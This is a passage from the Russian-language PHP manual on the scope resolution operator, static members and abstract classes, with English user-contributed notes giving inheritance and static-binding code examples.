    echo __CLASS__; // foo_bar
    var_dump($this);
  }
}

class foo_bar_baz extends foo_bar
{
  public function something()
  {
    echo __CLASS__; // foo_bar_baz
    var_dump($this);
  }

  public function call()
  {
    echo self::something(); // self
    echo parent::something(); // parent
    echo foo::something(); // grandparent
  }
}

error_reporting(-1);

$obj = new foo_bar_baz();
$obj->call();

// Output similar to:
// foo_bar_baz
// object(foo_bar_baz)[1]
// foo_bar
// object(foo_bar_baz)[1]
// foo
// object(foo_bar_baz)[1]

?>
jackdracona at msn dot com 14-Apr-2010 08:53
Here is some clarification about PHP inheritance - there is a lot of bad information on the net.  PHP does support Multi-level inheritance.  (I tested it using version 5.2.9).  It does not support multiple inheritance.

This means that you cannot have one class extend 2 other classes (see the extends keyword).  However, you can have one class extend another, which extends another, and so on.

Example:

<?php
class A {
        // more code here
}

class B extends A {
        // more code here
}

class C extends B {
        // more code here
}

$someObj = new A();  // no problems
$someOtherObj = new B(); // no problems
$lastObj = new C(); // still no problems

?>
jarrod at squarecrow dot com 27-Oct-2009 06:01
You can force a class to be strictly an inheritable class by using the "abstract" keyword. When you define a class with abstract, any attempt to instantiate a separate instance of it will result in a fatal error. This is useful for situations like a base class where it would be inherited by multiple child classes yet you want to restrict the ability to instantiate it by itself.

Example........

<?php

abstract class Cheese
{
      //can ONLY be inherited by another class
}

class Cheddar extends Cheese
{
}

$dinner = new Cheese; //fatal error
$lunch = new Cheddar; //works!

?>


Оператор разрешения области видимости (::)

Оператор разрешения области видимости (также называемый "Paamayim Nekudotayim") или просто "двойное двоеточие" - это лексема, позволяющая обращаться к статическим свойствам, константам и переопределённым свойствам или методам класса.

При обращении к этим элементам извне класса, необходимо использовать имя этого класса.

Можно обратиться к классу с помощью переменной. Значение переменной не должно быть ключевым словом (например, self, parent или static).

"Paamayim Nekudotayim" на первый взгляд может показаться странным словосочетанием для обозначения двойного двоеточия. Однако, во время создания Zend Engine версии 0.5 (который входил в PHP3), команда Zend выбрала именно это обозначение. Оно на самом деле означает "двойное двоеточие" - на иврите!

Пример #1 Использование :: вне объявления класса

<?php
class MyClass {
const CONST_VALUE = 'Значение константы';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE;

echo MyClass::CONST_VALUE;
?>

Для обращения к свойствам и методам внутри самого класса используются ключевые слова self, parent и static.

Пример #2 Использование :: внутри объявления класса

<?php
class OtherClass extends MyClass
{
public static $my_static = 'статическая переменная';

public static function doubleColon() {
echo parent::CONST_VALUE . "\n";
echo self::$my_static . "\n";
}
}

$classname = 'OtherClass';
$classname::doubleColon();

OtherClass::doubleColon();
?>

Когда дочерний класс переопределяет методы, объявленные в родительском классе, PHP не будет осуществлять автоматический вызов методов, принадлежащих классу-родителю. Эта функциональность возлагается на метод, переопределяемый в дочернем классе. Данное правило распространяется на конструкторы и деструкторы, перегруженные и "магические" методы.

Пример #3 Обращение к методу в родительском классе

<?php
class MyClass
{
protected function myFunc() {
echo "MyClass::myFunc()\n";
}
}

class OtherClass extends MyClass
{
// Переопределить родительское определение
public function myFunc()
{
// Но всё ещё вызываем родительскую функцию
parent::myFunc();
echo "OtherClass::myFunc()\n";
}
}

$class = new OtherClass();
$class->myFunc();
?>

Смотрите также некоторые примеры статических вызовов.

User Contributed Notes

1naveengiri at gmail dot com 15-May-2017 06:36
In PHP, you use the self keyword to access static properties and methods.

The problem is that you can replace $this->method() with self::method() anywhere, regardless if method() is declared static or not. So which one should you use?

Consider this code:

class ParentClass {
    function test() {
        self::who();    // will output 'parent'
        $this->who();    // will output 'child'
    }

    function who() {
        echo 'parent';
    }
}

class ChildClass extends ParentClass {
    function who() {
        echo 'child';
    }
}

$obj = new ChildClass();
$obj->test();
In this example, self::who() will always output 'parent', while $this->who() will depend on what class the object has.

Now we can see that self refers to the class in which it is called, while $this refers to the class of the current object.

So, you should use self only when $this is not available, or when you don't want to allow descendant classes to overwrite the current method.
jasverix at NOSPAM dot gmail dot com 03-Oct-2013 01:25
Just found out that using the class name may also work to call similar function of anchestor class.

<?php

class Anchestor {

   public $Prefix = '';

   private $_string =  'Bar';
    public function Foo() {
        return $this->Prefix.$this->_string;
    }
}

class MyParent extends Anchestor {
    public function Foo() {
         $this->Prefix = null;
        return parent::Foo().'Baz';
    }
}

class Child extends MyParent {
    public function Foo() {
        $this->Prefix = 'Foo';
        return Anchestor::Foo();
    }
}

$c = new Child();
echo $c->Foo(); //return FooBar, because Prefix, as in Anchestor::Foo()

?>

The Child class calls at Anchestor::Foo(), and therefore MyParent::Foo() is never run.
guy at syntheticwebapps dot com 15-Sep-2013 08:29
It seems as though you can use more than the class name to reference the static variables, constants, and static functions of a class definition from outside that class using the :: . The language appears to allow you to use the object itself.

For example:
class horse
{
   static $props = {'order'=>'mammal'};
}
$animal = new horse();
echo $animal::$props['order'];

// yields 'mammal'

This does not appear to be documented but I see it as an important convenience in the language. I would like to see it documented and supported as valid.

If it weren't supported officially, the alternative would seem to be messy, something like this:

$animalClass = get_class($animal);
echo $animalClass::$props['order'];
remy dot damour at ----no-spam---laposte dot net 05-May-2010 01:50
As of php 5.3.0, you can use 'static' as scope value as in below example (add flexibility to inheritance mechanism compared to 'self' keyword...)

<?php

class A {
    const C = 'constA';
    public function m() {
        echo static::C;
    }
}

class B extends A {
    const C = 'constB';
}

$b = new B();
$b->m();

// output: constB
?>
Theriault 05-Dec-2009 08:58
A class constant, class property (static), and class function (static) can all share the same name and be accessed using the double-colon.

<?php

class A {

    public static $B = '1'; # Static class variable.

    const B = '2'; # Class constant.

    public static function B() { # Static class function.
        return '3';
    }

}

echo A::$B . A::B . A::B(); # Outputs: 123
?>
wouter at interpotential dot com 09-Nov-2009 07:24
It's worth noting, that the mentioned variable can also be an object instance. This appears to be the easiest way to refer to a static function as high in the inheritance hierarchy as possible, as seen from the instance. I've encountered some odd behavior while using static::something() inside a non-static method.

See the following example code:

<?php
class FooClass {
    public function testSelf() {
        return self::t();
    }

    public function testThis() {
        return $this::t();
    }

    public static function t() {
        return 'FooClass';
    }

    function __toString() {
        return 'FooClass';
    }
}

class BarClass extends FooClass {
    public static function t() {
        return 'BarClass';
    }

}

$obj = new BarClass();
print_r(Array(
    $obj->testSelf(), $obj->testThis(),
));
?>

which outputs:

<pre>
Array
(
    [0] => FooClass
    [1] => BarClass
)
</pre>

As you can see, __toString has no effect on any of this. Just in case you were wondering if perhaps this was the way it's done.
giovanni at gargani dot it 02-Jun-2009 06:38
Well, a "swiss knife" couple of code lines to call parent method. The only limit is you can't use it with "by reference" parameters.
Main advantage you dont need to know the "actual" signature of your super class, you just need to know which arguments do you need

<?php
class someclass extends some superclass {
// usable for constructors
 function __construct($ineedthisone) {
  $args=func_get_args();
  /* $args will contain any argument passed to __construct.
  * Your formal argument doesnt influence the way func_get_args() works
  */
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
// but this is not for __construct only
 function anyMethod() {
  $args=func_get_args();
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
  // Note: php 5.3.0 will even let you do
 function anyMethod() {
  //Needs php >=5.3.x
  call_user_func_array(array('parent',__FUNCTION__),func_get_args());
 }

}
?>
csaba dot dobai at php-sparcle dot com 03-Feb-2009 09:54
For the 'late static binding' topic I published a code below, that demonstrates a trick for how to setting variable value in the late class, and print that in the parent (or the parent's parent, etc.) class.

<?php

class cA
{
    /**
     * Test property for using direct default value
     */
    protected static $item = 'Foo';

    /**
     * Test property for using indirect default value
     */
    protected static $other = 'cA';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    public static function setOther($val)
    {
        self::$other = $val; // Set a value in this scope.
    }
}

class cB extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Bar';

    public static function setOther($val)
    {
        self::$other = $val;
    }
}

class cC extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Tango';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    /**
     * Now we drop redeclaring the setOther() method, use cA with 'self::' just for fun.
     */
}

class cD extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Foxtrot';

    /**
     * Now we drop redeclaring all methods to complete this issue.
     */
}

cB::setOther('cB'); // It's cB::method()!
cB::method(); // It's cA::method()!
cC::setOther('cC'); // It's cA::method()!
cC::method(); // It's cC::method()!
cD::setOther('cD'); // It's cA::method()!
cD::method(); // It's cA::method()!

/**
 * Results: ->
 * Foo
 * cB
 * Tango
 * cC
 * Foo
 * cD
 *
 * What the hell?! :)
 */

?>
luka8088 at gmail dot com 24-Jan-2009 03:15
Little static trick to go around php strict standards ...
Function caller founds an object from which it was called, so that static method can alter it, replacement for $this in static function but without strict warnings :)

<?php

error_reporting(E_ALL + E_STRICT);

function caller () {
  $backtrace = debug_backtrace();
  $object = isset($backtrace[0]['object']) ? $backtrace[0]['object'] : null;
  $k = 1;

  while (isset($backtrace[$k]) && (!isset($backtrace[$k]['object']) || $object === $backtrace[$k]['object']))
    $k++;

  return isset($backtrace[$k]['object']) ? $backtrace[$k]['object'] : null;
}

class a {

  public $data = 'Empty';

  function set_data () {
    b::set();
  }

}

class b {

  static function set () {
    // $this->data = 'Data from B !';
    // using this in static function throws a warning ...
    caller()->data = 'Data from B !';
  }

}

$a = new a();
$a->set_data();
echo $a->data;

?>

Outputs: Data from B !

No warnings or errors !
barss dot dev at gmail dot com 01-Jul-2008 03:47
Nice trick with scope resolution
<?php
    class A
    {
        public function TestFunc()
        {
            return $this->test;
        }
    }

    class B
    {
        public $test;

        public function __construct()
        {
            $this->test = "Nice trick";
        }

        public function GetTest()
        {
            return A::TestFunc();
        }
    }

    $b = new B;
    echo $b->GetTest();
?>

will output

Nice trick
mongoose643 at gmail dot com 13-Feb-2007 12:11
This is a solution for those that still need to write code compatible with php 4 but would like to use the flexibility of static variables. PHP 4 does not support static variables within the class scope but it does support them within the scope of class methods. The following is a bit of a workaround to store data in static mode in php 4.

Note: This code also works in PHP 5.

(Tested on version 4.3.1+)

The tricky part is when using when arrays you have to do a bit of fancy coding to get or set individual elements in the array. The example code below should show you the basics of it though.

<?php

class StaticSample
{
    //Copyright Michael White (www.crestidg.com) 2007
    //You may use and modify this code but please keep this short copyright notice in tact.
    //If you modify the code you may comment the changes you make and append your own copyright
    //notice to mine. This code is not to be redistributed individually for sale but please use it as part
    //of your projects and applications - free or non-free.

    //Static workaround for php4 - even works with arrays - the trick is accessing the arrays.
    //I used the format s_varname for my methods that employ this workaround. That keeps it
    //similar to working with actual variables as much as possible.
    //The s_ prefix immediately identifies it as a static variable workaround method while
    //I'm looking thorugh my code.
    function &s_foo($value=null, $remove=null)
    {
        static $s_var;    //Declare the static variable.    The name here doesn't matter - only the name of the method matters.

        if($remove)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    foreach($value as $key => $data)
                    {
                        unset($s_var[$key]);
                    }
                }
            }
            else
            {
                //You can't just use unset() here because the static state of the variable will bring back the value next time you call the method.
                $s_var = null;
                unset($s_var);
            }
            //Make sure that you don't set the value over again.
            $value = null;
        }
        if($value)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    //$s_var = array_merge($s_var, $value);        //Doesn't overwrite values. This adds them - a property of the array_merge() function.
                    foreach($value as $key => $data)
                    {
                        $s_var[$key] = $data;    //Overwrites values.
                    }
                }
                else
                {
                    $s_var = $value;
                }
            }
            else
            {
                $s_var = $value;
            }
        }

        return $s_var;
    }
}

echo "Working with non-array values.<br>";
echo "Before Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Setting: ".StaticSample::s_foo("VALUE HERE");
echo "<br>";
echo "After Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Removing: ".StaticSample::s_foo(null, 1);
echo "<br>";
echo "After Removing: ".StaticSample::s_foo();
echo "<hr>";
echo "Working with array values<br>";
$array = array(0=>"cat", 1=>"dog", 2=>"monkey");
echo "Set an array value: ";
print_r(StaticSample::s_foo($array));
echo "<br>";

//Here you need to get all the values in the array then sort through or choose the one(s) you want.
$all_elements = StaticSample::s_foo();
$middle_element = $all_elements[1];
echo "The middle element: ".$middle_element;
echo "<br>";

$changed_array = array(1=>"big dog", 3=>"bat", "bird"=>"flamingo");
echo "Changing the value: ";
print_r(StaticSample::s_foo($changed_array));
echo "<br>";

//All you have to do here is create an array with the keys you want to erase in it.
//If you want to erase all keys then don't pass any array to the method.
$element_to_erase = array(3=>null);
echo "Erasing the fourth element: ";
$elements_left = StaticSample::s_foo($element_to_erase, 1);
print_r($elements_left);
echo "<br>";
echo "Enjoy!";

?>
developit at mail dot ru 27-Jan-2006 03:57
You use 'self' to access this class, 'parent' - to access parent class, and what will you do to access a parent of the parent? Or to access the very root class of deep class hierarchy? The answer is to use classnames. That'll work just like 'parent'. Here's an example to explain what I mean. Following code

<?php
class A
{
    protected $x = 'A';
    public function f()
    {
        return '['.$this->x.']';
    }
}

class B extends A
{
    protected $x = 'B';
    public function f()
    {
        return '{'.$this->x.'}';
    }
}

class C extends B
{
    protected $x = 'C';
    public function f()
    {
        return '('.$this->x.')'.parent::f().B::f().A::f();
    }
}

$a = new A();
$b = new B();
$c = new C();

print $a->f().'<br/>';
print $b->f().'<br/>';
print $c->f().'<br/>';
?>

will output

[A] -- {B} -- (C){C}{C}[C]


Ключевое слово static

Подсказка

Эта страница описывает использование ключевого слова static для определения статических методов и свойств. static также может использоваться для определения статических переменных, определения статических анонимных функций и позднего статического связывания. Для получения информации о таком применении ключевого слова static обратитесь по вышеуказанным страницам.

Объявление свойств и методов класса статическими позволяет обращаться к ним без создания экземпляра класса. К ним также можно получить доступ статически в созданном экземпляре объекта класса.

Статические методы

Так как статические методы вызываются без создания экземпляра класса, то псевдопеременная $this недоступна внутри статических методов.

Внимание

Вызов нестатических методов статически вызывает ошибку Error.

До PHP 8.0.0 вызов нестатических методов статически был объявлен устаревшим и вызывал ошибку уровня E_DEPRECATED.

Пример #1 Пример статического метода

<?php
class Foo {
public static function aStaticMethod() {
// ...
}
}

Foo::aStaticMethod();
$classname = 'Foo';
$classname::aStaticMethod();
?>

Статические свойства

Доступ к статическим свойствам осуществляется с помощью оператора разрешения области видимости (::), и к ним нельзя получить доступ через оператор объекта (->).

На класс можно ссылаться с помощью переменной. Значение переменной в таком случае не может быть ключевым словом (например, self, parent и static).

Пример #2 Пример статического свойства

<?php
class Foo
{
public static $my_static = 'foo';

public function staticValue() {
return self::$my_static;
}
}

class Bar extends Foo
{
public function fooStatic() {
return parent::$my_static;
}
}

print Foo::$my_static . "\n";

$foo = new Foo();
print $foo->staticValue() . "\n";
print $foo->my_static . "\n"; // Не определено свойство my_static

print $foo::$my_static . "\n";
$classname = 'Foo';
print $classname::$my_static . "\n";

print Bar::$my_static . "\n";
$bar = new Bar();
print $bar->fooStatic() . "\n";
?>

Результат выполнения данного примера в PHP 8 аналогичен:

foo
foo

Notice: Accessing static property Foo::$my_static as non static in /in/V0Rvv on line 23

Warning: Undefined property: Foo::$my_static in /in/V0Rvv on line 23

foo
foo
foo
foo

User Contributed Notes

admin at shopinson dot com 19-Aug-2020 01:20
I used instantiation to access the access the a static property directly.

A Simple ticky art, you may apply (using object to access static property in a class) with the scope resolution operator
<?php
class Shopinson {
    const MY_CONSTANT = 'the value of MY_CONSTANT ';
}

class Godwin extends Shopinson
{
    public static $myconstant = ' The Paamayim Nekudotayim or double-colon.';
    public function SaySomething(){
        echo parent::MY_CONSTANT .PHP_EOL; // outputs: the value of MY_CONSTANT
        echo self::$myconstant; // outputs: The Paamayim Nekudotayim or double-colon.
    }
}

$my_class = new Godwin();
print $my_class::$myconstant;
$my_class::SaySomething();
echo Godwin::$myconstant;
Godwin::SaySomething();

?>

print $my_class::$myconstant;
fakhar_anwar123 at hotmail dot com 26-Apr-2020 11:21
Asnwer selcted as correct solves problem. There is a valid use case (Design Pattern) where class with static member function needs to call non-static member function and before that this static members should also instantiate singleton using constructor a constructor.

**Case:**
For example, I am implementing Swoole HTTP Request event providing it a call-back as a Class with static member. Static Member does two things; it creates Singleton Object of the class by doing initialization in class constructor, and second this static members does is to call a non-static method 'run()' to handle Request (by bridging with Phalcon). Hence, static class without constructor and non-static call will not work for me.
ASchmidt at Anamera dot net 04-Sep-2018 07:18
It is important to understand the behavior of static properties in the context of class inheritance:

- Static properties defined in both parent and child classes will hold DISTINCT values for each class. Proper use of self:: vs. static:: are crucial inside of child methods to reference the intended static property.

- Static properties defined ONLY in the parent class will share a COMMON value.

<?php
declare(strict_types=1);

class staticparent {
    static    $parent_only;
    static    $both_distinct;

    function __construct() {
        static::$parent_only = 'fromparent';
        static::$both_distinct = 'fromparent';
    }
}

class staticchild extends staticparent {
    static    $child_only;
    static    $both_distinct;

    function __construct() {
        static::$parent_only = 'fromchild';
        static::$both_distinct = 'fromchild';
        static::$child_only = 'fromchild';
    }
}

$a = new staticparent;
$a = new staticchild;

echo 'Parent: parent_only=', staticparent::$parent_only, ', both_distinct=', staticparent::$both_distinct, "<br/>\r\n";
echo 'Child:  parent_only=', staticchild::$parent_only, ', both_distinct=', staticchild::$both_distinct, ', child_only=', staticchild::$child_only, "<br/>\r\n";
?>

will output:
Parent: parent_only=fromchild, both_distinct=fromparent
Child: parent_only=fromchild, both_distinct=fromchild, child_only=fromchild
vinayak dot anivase at gmail dot com 30-Mar-2018 06:38
This is also possible:

class Foo {
  public static $bar = 'a static property';
}

$baz = (new Foo)::$bar;
echo $baz;
artekpuck at gmail dot com 19-Mar-2018 05:36
It is worth mentioning that there is only one value for each static variable that is the same for all instances
b1tchcakes 27-Feb-2016 09:06
<?php

trait t {
  protected $p;
  public function testMe() {echo 'static:'.static::class. ' // self:'.self::class ."\n";}
}

class a { use t; }
class b extends a {}

echo (new a)->testMe();
echo (new b)->testMe();

outputs
static:a // self:t
static:b // self:t
rahul dot anand77 at gmail dot com 13-Nov-2015 10:39
To check if a method declared in a class is static or not, you can us following code. PHP5 has a Reflection Class, which is very helpful.

try {
    $method = new ReflectionMethod( 'className::methodName );
    if ( $method->isStatic() )
    {
        // Method is static.
    }
}
catch ( ReflectionException $e )
{
    //    method does not exist
    echo $e->getMessage();
}

*You can read more about Reflection class on http://php.net/manual/en/class.reflectionclass.php
sideshowAnthony at googlemail dot com 02-Oct-2015 07:44
The static keyword can still be used (in a non-oop way) inside a function. So if you need a value stored with your class, but it is very function specific, you can use this:

class aclass {
    public static function b(){
        static $d=12; // Set to 12 on first function call only
        $d+=12;
        return "$d\n";
    }
}

echo aclass::b(); //24
echo aclass::b(); //36
echo aclass::b(); //48
echo aclass::$d; //fatal error
jkenigso at utk dot edu 22-Dec-2013 12:20
It bears mention that static variables (in the following sense) persist:

<?php
class StaticVars
{
  public static $a=1;
}
$b=new StaticVars;
$c=new StaticVars;

echo $b::$a; //outputs 1
$c::$a=2;
echo $b::$a; //outputs 2!
?>

Note that $c::$a=2 changed the value of $b::$a even though $b and $c are totally different objects.
manishpatel2280 at gmail dot com 19-Nov-2013 02:45
In real world, we can say will use static method when we dont want to create object instance.

e.g ...

validateEmail($email) {
 if(T) return true;
return false;
}

//This makes not much sense
$obj = new Validate();
$result = $obj->validateEmail($email);

//This makes more sense
$result = Validate::validateEmail($email);
Anonymous 24-Oct-2013 01:34
It should be noted that in 'Example #2', you can also call a variably defined static method as follows:

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

$classname = 'Foo';
$methodname = 'aStaticMethod';
$classname::{$methodname}(); // As of PHP 5.3.0 I believe
?>
payal001 at gmail dot com 09-Jul-2011 03:17
Here statically accessed property prefer property of the class for which it is called. Where as self keyword enforces use of current class only. Refer the below example:

<?php
class a{

static protected $test="class a";

public function static_test(){

echo static::$test; // Results class b
echo self::$test; // Results class a

}

}

class b extends a{

static protected $test="class b";

}

$obj = new b();
$obj->static_test();
?>
gratcypalma at gmail dot om 18-Apr-2011 11:50
<?php
class foo {
    private static $getInitial;

    public static function getInitial() {
        if (self::$getInitial == null)
            self::$getInitial = new foo();
        return self::$getInitial;
    }
}

foo::getInitial();

/*
this is the example to use new class with static method..
i hope it help
*/

?>
tolean_dj at yahoo dot com 11-Dec-2010 05:09
Starting with php 5.3 you can get use of new features of static keyword. Here's an example of abstract singleton class:

<?php

abstract class Singleton {

    protected static $_instance = NULL;

    /**
     * Prevent direct object creation
     */
    final private function  __construct() { }

    /**
     * Prevent object cloning
     */
    final private function  __clone() { }

    /**
     * Returns new or existing Singleton instance
     * @return Singleton
     */
    final public static function getInstance(){
        if(null !== static::$_instance){
            return static::$_instance;
        }
        static::$_instance = new static();
        return static::$_instance;
    }

}
?>
Mirco 23-Aug-2010 10:16
The simplest static constructor.

Because php does not have a static constructor and you may want to initialize static class vars, there is one easy way, just call your own function directly after the class definition.

for example.

<?php
function Demonstration()
{
    return 'This is the result of demonstration()';
}

class MyStaticClass
{
    //public static $MyStaticVar = Demonstration(); //!!! FAILS: syntax error
    public static $MyStaticVar = null;

    public static function MyStaticInit()
    {
        //this is the static constructor
        //because in a function, everything is allowed, including initializing using other functions

        self::$MyStaticVar = Demonstration();
    }
} MyStaticClass::MyStaticInit(); //Call the static constructor

echo MyStaticClass::$MyStaticVar;
//This is the result of demonstration()
?>
webmaster at removethis dot weird-webdesign dot de 25-Feb-2010 01:38
On PHP 5.2.x or previous you might run into problems initializing static variables in subclasses due to the lack of late static binding:

<?php
class A {
    protected static $a;

    public static function init($value) { self::$a = $value; }
    public static function getA() { return self::$a; }
}

class B extends A {
    protected static $a; // redefine $a for own use

    // inherit the init() method
    public static function getA() { return self::$a; }
}

B::init('lala');
echo 'A::$a = '.A::getA().'; B::$a = '.B::getA();
?>

This will output:
A::$a = lala; B::$a =

If the init() method looks the same for (almost) all subclasses there should be no need to implement init() in every subclass and by that producing redundant code.

Solution 1:
Turn everything into non-static. BUT: This would produce redundant data on every object of the class.

Solution 2:
Turn static $a on class A into an array, use classnames of subclasses as indeces. By doing so you also don't have to redefine $a for the subclasses and the superclass' $a can be private.

Short example on a DataRecord class without error checking:

<?php
abstract class DataRecord {
    private static $db; // MySQLi-Connection, same for all subclasses
    private static $table = array(); // Array of tables for subclasses

    public static function init($classname, $table, $db = false) {
        if (!($db === false)) self::$db = $db;
        self::$table[$classname] = $table;
    }

    public static function getDB() { return self::$db; }
    public static function getTable($classname) { return self::$table[$classname]; }
}

class UserDataRecord extends DataRecord {
    public static function fetchFromDB() {
        $result = parent::getDB()->query('select * from '.parent::getTable('UserDataRecord').';');

        // and so on ...
        return $result; // An array of UserDataRecord objects
    }
}

$db = new MySQLi(...);
UserDataRecord::init('UserDataRecord', 'users', $db);
$users = UserDataRecord::fetchFromDB();
?>

I hope this helps some people who need to operate on PHP 5.2.x servers for some reason. Late static binding, of course, makes this workaround obsolete.
valentin at balt dot name 26-Jan-2010 07:46
How to implement a one storage place based on static properties.

<?php
class a {

    public function get () {
        echo $this->connect();
    }
}
class b extends a {
    private static $a;

    public function connect() {
        return self::$a = 'b';
    }
}
class c extends a {
    private static $a;

    public function connect() {
        return self::$a = 'c';
    }
}
$b = new b ();
$c = new c ();

$b->get();
$c->get();
?>
Jay Cain 18-Dec-2009 02:45
Regarding the initialization of complex static variables in a class, you can emulate a static constructor by creating a static function named something like init() and calling it immediately after the class definition.

<?php
class Example {
    private static $a = "Hello";
    private static $b;

    public static function init() {
        self::$b = self::$a . " World!";
    }
}
Example::init();
?>
davidn at xnet dot co dot nz 17-Mar-2009 04:56
Static variables are shared between sub classes

<?php
class MyParent {

    protected static $variable;
}

class Child1 extends MyParent {

    function set() {

        self::$variable = 2;
    }
}

class Child2 extends MyParent {

    function show() {

        echo(self::$variable);
    }
}

$c1 = new Child1();
$c1->set();
$c2 = new Child2();
$c2->show(); // prints 2
?>
zerocool at gameinsde dot ru 20-Oct-2008 01:06
Hi, here's my simple Singleton example, i think it can be useful for someone. You can use this pattern to connect to the database for example.

<?php

  class MySingleton
  {
    private static $instance = null;

    private function __construct()
    {
      $this-> name = 'Freddy';

    }

    public static function getInstance()
    {
      if(self::$instance == null)
      {
        print "Object created!<br>";
        self::$instance = new self;

      }

      return self::$instance;

    }

    public function sayHello()
    {
      print "Hello my name is {$this-> name}!<br>";

    }

    public function setName($name)
    {
      $this-> name = $name;

    }

  }

  //

  $objA = MySingleton::getInstance(); // Object created!

  $objA-> sayHello(); // Hello my name is Freddy!

  $objA-> setName("Alex");

  $objA-> sayHello(); // Hello my name is Alex!

  $objB = MySingleton::getInstance();

  $objB-> sayHello(); // Hello my name is Alex!

  $objB-> setName("Bob");

  $objA-> sayHello(); // Hello my name is Bob!

?>
vvikramraj at yahoo dot com 23-Sep-2008 03:24
when attempting to implement a singleton class, one might also want to either
a) disable __clone by making it private
b) bash the user who attempts to clone by defining __clone to throw an exception
Mathijs Vos 23-Aug-2008 03:53
<?php
class foo
{
    public static $myStaticClass;

    public function __construct()
    {
        self::myStaticClass = new bar();
    }
}

class bar
{
        public function __construct(){}
}
?>

Please note, this won't work.
Use self::$myStaticClass = new bar(); instead of self::myStaticClass = new bar(); (note the $ sign).
Took me an hour to figure this out.
inkredibl 28-Jan-2008 12:27
Note that you should read "Variables/Variable scope" if you are looking for static keyword use for declaring static variables inside functions (or methods). I myself had this gap in my PHP knowledge until recently and had to google to find this out. I think this page should have a "See also" link to static function variables.
http://www.php.net/manual/en/language.variables.scope.php
ssj dot narutovash at gmail dot com 01-Jan-2008 08:48
It's come to my attention that you cannot use a static member in an HEREDOC string.  The following code

class A
{
  public static $BLAH = "user";

  function __construct()
  {
    echo <<<EOD
<h1>Hello {self::$BLAH}</h1>
EOD;
  }
}

$blah = new A();

produces this in the source code:

<h1>Hello {self::}</h1>

Solution:

before using a static member, store it in a local variable, like so:

class B
{
  public static $BLAH = "user";

  function __construct()
  {
    $blah = self::$BLAH;
    echo <<<EOD
<h1>Hello {$blah}</h1>
EOD;
  }
}

and the output's source code will be:

<h1>Hello user</h1>
aidan at php dot net 04-May-2005 07:14
To check if a function was called statically or not, you'll need to do:

<?php
function foo () {
    $isStatic = !(isset($this) && get_class($this) == __CLASS__);
}
?>

More at (http://blog.phpdoc.info/archives/4-Schizophrenic-Methods.html).

(I'll add this to the manual soon).
06-Apr-2005 03:14
You misunderstand the meaning of inheritance : there is no duplication of members when you inherit from a base class. Members are shared through inheritance, and can be accessed by derived classes according to visibility (public, protected, private).

The difference between static and non static members is only that a non static member is tied to an instance of a class although a static member is tied to the class, and not to a particular instance.
That is, a static member is shared by all instances of a class although a non static member exists for each instance of  class.

Thus, in your example, the static property has the correct value, according to principles of object oriented conception.
class Base
{
  public $a;
  public static $b;
}

class Derived extends Base
{
  public function __construct()
  {
    $this->a = 0;
    parent::$b = 0;
  }
  public function f()
  {
    $this->a++;
    parent::$b++;
  }
}

$i1 = new Derived;
$i2 = new Derived;

$i1->f();
echo $i1->a, ' ', Derived::$b, "\n";
$i2->f();
echo $i2->a, ' ', Derived::$b, "\n";

outputs
1 1
1 2
michalf at ncac dot torun dot pl 31-Mar-2005 02:42
Inheritance with the static elements is a nightmare in php. Consider the following code:

<?php
class BaseClass{
    public static $property;
}

class DerivedClassOne extends BaseClass{
}

class DerivedClassTwo extends BaseClass{
}

DerivedClassOne::$property = "foo";
DerivedClassTwo::$property = "bar";

echo DerivedClassOne::$property; //one would naively expect "foo"...
?>

What would you expect as an output? "foo"? wrong. It is "bar"!!! Static variables are not inherited, they point to the BaseClass::$property.

At this point I think it is a big pity inheritance does not work in case of static variables/methods. Keep this in mind and save your time when debugging.

best regards - michal
michael at digitalgnosis dot removethis dot com 15-Dec-2004 11:09
If you are trying to write classes that do this:

<?php

class Base
{
    static function Foo ()
    {
        self::Bar();
    }
}

class Derived extends Base
{
    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // we want this to print "Derived::Bar()"

?>

Then you'll find that PHP can't (unless somebody knows the Right Way?) since 'self::' refers to the class which owns the /code/, not the actual class which is called at runtime. (__CLASS__ doesn't work either, because: A. it cannot appear before ::, and B. it behaves like 'self')

But if you must, then here's a (only slightly nasty) workaround:

<?php

class Base
{
    function Foo ( $class = __CLASS__ )
    {
        call_user_func(array($class,'Bar'));
    }
}

class Derived extends Base
{
    function Foo ( $class = __CLASS__ )
    {
        parent::Foo($class);
    }

    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // This time it works.

?>

Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

If Foo() takes parameters then list them before $class=__CLASS__ and in most cases, you can just forget about that parameter throughout your code.

The major caveat is, of course, that you must override Foo() in every subclass and must always include the $class parameter when calling parent::Foo().


Абстрактные классы

PHP поддерживает определение абстрактных классов и методов. На основе абстрактного класса нельзя создавать объекты, и любой класс, содержащий хотя бы один абстрактный метод, должен быть определён как абстрактный. Методы, объявленные абстрактными, несут, по существу, лишь описательный смысл и не могут включать реализацию.

При наследовании от абстрактного класса, все методы, помеченные абстрактными в родительском классе, должны быть определены в дочернем классе и следовать обычным правилам наследования и совместимости сигнатуры.

Пример #1 Пример абстрактного класса

<?php
abstract class AbstractClass
{
// Данные методы должны быть определены в дочернем классе
abstract protected function getValue();
abstract protected function prefixValue($prefix);

// Общий метод
public function printOut() {
print $this->getValue() . "\n";
}
}

class ConcreteClass1 extends AbstractClass
{
protected function getValue() {
return "ConcreteClass1";
}

public function prefixValue($prefix) {
return "{$prefix}ConcreteClass1";
}
}

class ConcreteClass2 extends AbstractClass
{
public function getValue() {
return "ConcreteClass2";
}

public function prefixValue($prefix) {
return "{$prefix}ConcreteClass2";
}
}

$class1 = new ConcreteClass1;
